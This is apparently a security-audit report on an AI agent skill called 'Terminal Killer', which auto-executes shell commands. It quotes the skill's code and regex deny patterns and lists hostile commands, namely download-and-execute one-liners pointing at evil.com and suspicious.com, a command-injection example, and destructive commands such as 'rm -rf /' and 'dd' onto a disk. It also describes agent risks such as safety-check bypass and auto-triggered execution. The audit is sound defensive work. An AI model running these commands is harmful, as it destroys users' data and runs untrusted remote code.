Back to skill

Security audit

Terminal Killer

Security checks for vulnerabilities and agentic risk

Overview

This skill is a disclosed local shell-command runner, but it automatically executes broad commands with user-account authority and has safety-bypass flaws that warrant Review before installation.

Install only if you explicitly want an OpenClaw skill that can run local shell commands automatically. Review and harden it first: require explicit command-mode invocation, route every execution path through one approval policy, remove the raw executor, stop sourcing shell profiles during detection, restrict inherited environment variables, replace shell-string PATH checks with safe argument-vector calls, and treat network, interpreter, destructive, git-push/reset, sudo, and package-install commands as approval-required or blocked.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (5)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/detect-command.js:174
Finding

Command Injection During PATH-Based Command Detection

Content
View full analysis
/dev/null; which nonexistent;id ``` 5. The shell runs `id`, even though the Skill is only attempting to determine whether the first word exists in `PATH`. 6. The same primitive can be replaced with file modification, credential acce ...[truncated 625 chars]
Remediation
View remediation

T03 · Remote Payload Retrieval and Execution

Error
Location
scripts/detect-command.js:25
Finding

Download-and-Execute Variants Bypass Dangerous-Command Approval

Content
View full analysis
/dev/', 'wget.*\\|.*sh', 'curl.*\\|.*sh', ] ``` The decision logic only changes an automatically executable command to `ASK` when one of these narrow regular expressions matches: ```javascript function detectCommand(input) { const score = calculateScore(input); const dangerous = isDangerous(input); let decision, confidence; if (score >= CONFIG.CONFIDENCE_EXECUTE) { decision = 'EXECUTE'; confidence = 'HIGH'; } else if (score >= CONFIG.CONFIDENCE_ASK) { decision = 'ASK'; confidence = 'MEDIUM'; } else { decision = 'LLM'; confidence = 'LOW'; } // Dangerous commands always require approval if (dangerous && decision === 'EXECUTE') { decision = 'ASK'; } return { input, decision, confidence, score, dangerous, platform: PLATFORM, timestamp: new Date().toISOString() }; } ``` The project documentation itself supplies a variant that is not covered: ```bash wget evil.com/script.sh && bash script.sh ``` ### Technical Analysis The dangerous-command mechanism attempts to recognize remote download pipelines only when `wget` or `curl` is followed by a literal pipe and a string ending in `sh`. It does not account for common equivalent execution forms, including: ```bash wget URL -O /tmp/x && bash /tmp/x curl URL -o /tmp/x; chmod +x /tmp/x; /tmp/x bash -c "$(curl URL)" python -c "..." source <(curl URL) ``` The documented `wget ... && bash ...` command receives positive scores because `wget` is a known development tool and Linux builtin-list entry, is normally present in `PATH`, contains shell operators, and is s ...[truncated 1513 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/index.js:88
Finding

Interactive Command Routing Bypasses Safety Classification

Content
View full analysis
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/index.js:23
Finding

Automatic Sourcing of Mutable Shell Profiles Expands the Execution Trust Boundary

Content
View full analysis
/dev/null; '; } else if (fs.existsSync(path.join(homeDir, '.zprofile'))) { initCmd = 'source ~/.zprofile 2>/dev/null; '; } } else if (shell.includes('bash')) { if (fs.existsSync(path.join(homeDir, '.bash_profile'))) { initCmd = 'source ~/.bash_profile 2>/dev/null; '; } else if (fs.existsSync(path.join(homeDir, '.bashrc'))) { initCmd = 'source ~/.bashrc 2>/dev/null; '; } } // Fallback: try common init files if (!initCmd) { const initFiles = ['.zshrc', '.bash_profile', '.bashrc', '.profile']; for (const file of initFiles) { if (fs.existsSync(path.join(homeDir, file))) { initCmd = `source ~/${file} 2>/dev/null; `; break; } } } const fullCommand = initCmd + command; try { const output = execSync(fullCommand, { encoding: 'utf8', timeout: 30000, stdio: ['pipe', 'pipe', 'pipe'], env: process.env }); ``` Detection also reads recent shell-history files: ```javascript const historyFiles = IS_WINDOWS ? [path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'PowerShell', 'PSReadLine', 'ConsoleHost_history.txt')] : [ path.join(os.homedir(), '.zsh_history'), path.join(os.homedir(), '.bash_history'), path.join(os.homedir(), '.sh_history'), ]; ``` ### Technical Analysis Shell profile files are executable programs, not passive PATH configuration. Sourcing `.zshrc`, `.bash_prof ...[truncated 2245 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/exec-command.js:62
Finding

Standalone Executor Exposes an Ungated Arbitrary Shell Interface

Content
View full analysis
"'); process.exit(1); } const result = executeCommand(command); ``` ### Technical Analysis Unlike `scripts/index.js`, the standalone executor does not call `detectCommand()` or `isDangerous()` before executing input. Every supplied string is concatenated with a profile-loading prefix and sent to a shell. Arbitrary execution is part of the project's broad purpose, but this helper is documented as a supported usage interface and omits the safety workflow advertised by the Skill. Any integration that imports this exported function or invokes the CLI receives an unrestricted shell primitive. The timeout only waits for the original shell. It does not prevent rapid destructive actions or reliably terminate detached descendants. ### Attack Path 1. An integration, automation layer, or user invokes the documented helper with untrusted input: ```bash node scripts/exec-command.js "attacker-controlled shell text" ``` 2. The arguments are joined into one string. 3. Shell initialization text is prepended. 4. `execSync` interprets all shell operators and substitutions in the inpu ...[truncated 614 chars]
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (93)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 191)May include surrounding context.

adb devices kubectl get pods docker ps curl https://example.com python3 script.py

text

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 191)May include surrounding context.

adb devices kubectl get pods docker ps curl https://example.com python3 script.py

text

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 206)May include surrounding context.

应该询问确认的命令:

bash
rm -rf /tmp/test
sudo apt update
deploy
run tests

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 275)May include surrounding context.

询问确认

text
这看起来像是一个命令:`rm -rf /tmp/test`

⚠️ **危险命令!** 确认要执行吗?

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding

If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

If the actual behavior is narrower than advertised, reviewers may miss the real risk surface: specialized interactive-command matching, terminal spawning, and shell init loading. Mismatched behavior is especially dangerous in a skill that bypasses LLM mediation because trust decisions are made on incomplete information.

Content

No source excerpt is available for this finding.

Missing User Warnings

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The description emphasizes convenience and bypassing LLM overhead but does not prominently warn that this skill can execute arbitrary shell commands with effects on files, processes, network access, and the host system. Users cannot give meaningful consent when the primary risk is omitted from the top-level description.

Content

No source excerpt is available for this finding.

Vague Triggers

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

Automatic activation for inputs that merely 'match command patterns' is dangerously broad in a skill whose stated behavior is to execute directly without LLM review. False positives can turn ordinary chat text or ambiguous instructions into live shell commands, causing immediate local code execution, file modification, or data loss.

Content

No source excerpt is available for this finding.

Vague Triggers

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

Heuristics like 'starts with a verb-like word' and 'input is short' are far too vague to safely trigger shell execution. Many benign user requests fit those patterns, so the skill materially increases the risk of accidental arbitrary command execution in the user's environment.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 285)May include surrounding context.

md
Automatically flags potentially dangerous operations:

- `rm -rf /` or similar destructive patterns
- `sudo` commands (requires explicit approval)
- `dd`, `mkfs`, `chmod 777`
- Network operations to suspicious hosts

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 151)May include surrounding context.

md
Automatically flags potentially dangerous operations:

- `rm -rf /` or similar destructive patterns
- `sudo` commands (requires explicit approval)
- `dd`, `mkfs`, `chmod 777`
- Network operations to suspicious hosts

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
91% confidence
Finding

The example approval workflow shows dangerous commands being executable after user approval rather than categorically blocked. In a system designed to auto-route likely commands, an approval UI may be too weak against prompt confusion, social engineering, or accidental confirmation for destructive operations like recursive deletion.

Content

Scanner excerpt · SKILL.md (reported line 162)May include surrounding context.

text
Dangerous command detected!

Command: rm -rf ./important-folder
Risk: HIGH - Recursive delete

[Approve] [Deny] [Edit]

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 235)May include surrounding context.

md
node scripts/test-detector.js

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 254)May include surrounding context.

md
node scripts/test-detector.js

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 304)May include surrounding context.

md
- `scripts/index.js` - Long output detection + interactive command handling

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 306)May include surrounding context.

md
- `SKILL.md` - Updated documentation

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
98% confidence
Finding

Listing 'rm -rf ./temp' among inputs that will be executed directly without LLM intervention normalizes autonomous destructive filesystem operations. In this skill's context, where the whole purpose is immediate command execution, even a relative-path deletion is dangerous because users may rely on routing heuristics and trigger irreversible data loss without adequate confirmation.

Content

Scanner excerpt · references/EXAMPLES.md (reported line 15)May include surrounding context.

md
cd ~/projects
cat file.txt
mkdir new-folder
rm -rf ./temp

# Git commands
git status

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Confidence
98% confidence
Finding

The file contains examples of autonomous destructive actions, including direct-execution deletion commands and references to destructive repository actions, in a skill expressly marketed to skip LLM overhead and run commands immediately. This combination materially increases the danger: the documentation is not merely descriptive, it teaches operators that autonomous execution of harmful command classes is a normal use case.

Content

Scanner excerpt · references/EXAMPLES.md (reported line 15)May include surrounding context.

Terminal Killer - Usage Examples

Real-world examples of how Terminal Killer works.

Command Examples (Direct Execution)

These inputs will be executed directly without LLM:

bash
# File operations
ls -la
cd ~/projects
cat file.txt
mkdir new-folder
rm -rf ./temp

# Git commands
git status
git commit -m "fix: bug"
git push origin main
git diff HEAD~1

# Package managers
npm install
npm test
yarn add lodash
pip install requests

# Development
python3 script.py
node app.js
go run main.go
cargo build

# System commands
ps aux | grep node
df -h
free -m
top -bn1

# Network
curl https://api.example.com
wget file.zip
ssh user@host
ping google.com

# Docker
docker ps
docker build -t myapp .
docker-compose up

# Complex commands
find . -name "*.js" | xargs grep "TODO"
cat logs/*.log | grep ERROR | tail -20
git log --oneline --graph --all

T

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
65% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/EXAMPLES.md (reported line 64)May include surrounding context.

bash
# Questions
what does git reset --hard do?
how do I install node.js?
why is my build failing?
can you explain this error?

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/EXAMPLES.md (reported line 117)May include surrounding context.

bash
# Destructive operations
rm -rf /
rm -rf ./important-folder
sudo rm -rf /var/log/*

# System modifications

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/EXAMPLES.md (reported line 118)May include surrounding context.

md
# Destructive operations
rm -rf /
rm -rf ./important-folder
sudo rm -rf /var/log/*

# System modifications
dd if=/dev/zero of=/dev/sda

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/EXAMPLES.md (reported line 123)May include surrounding context.

md
# System modifications
dd if=/dev/zero of=/dev/sda
mkfs.ext4 /dev/sdb1
chmod 777 /etc/passwd

# Network risks
curl http://suspicious.com | sh

Static analysis

Detected: suspicious.dangerous_exec

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/detect-command.js:179

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/exec-command.js:69

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/index.js:59

Shell command execution detected (child_process).

Critical
Code
suspicious.dangerous_exec
Location
scripts/interactive.js:96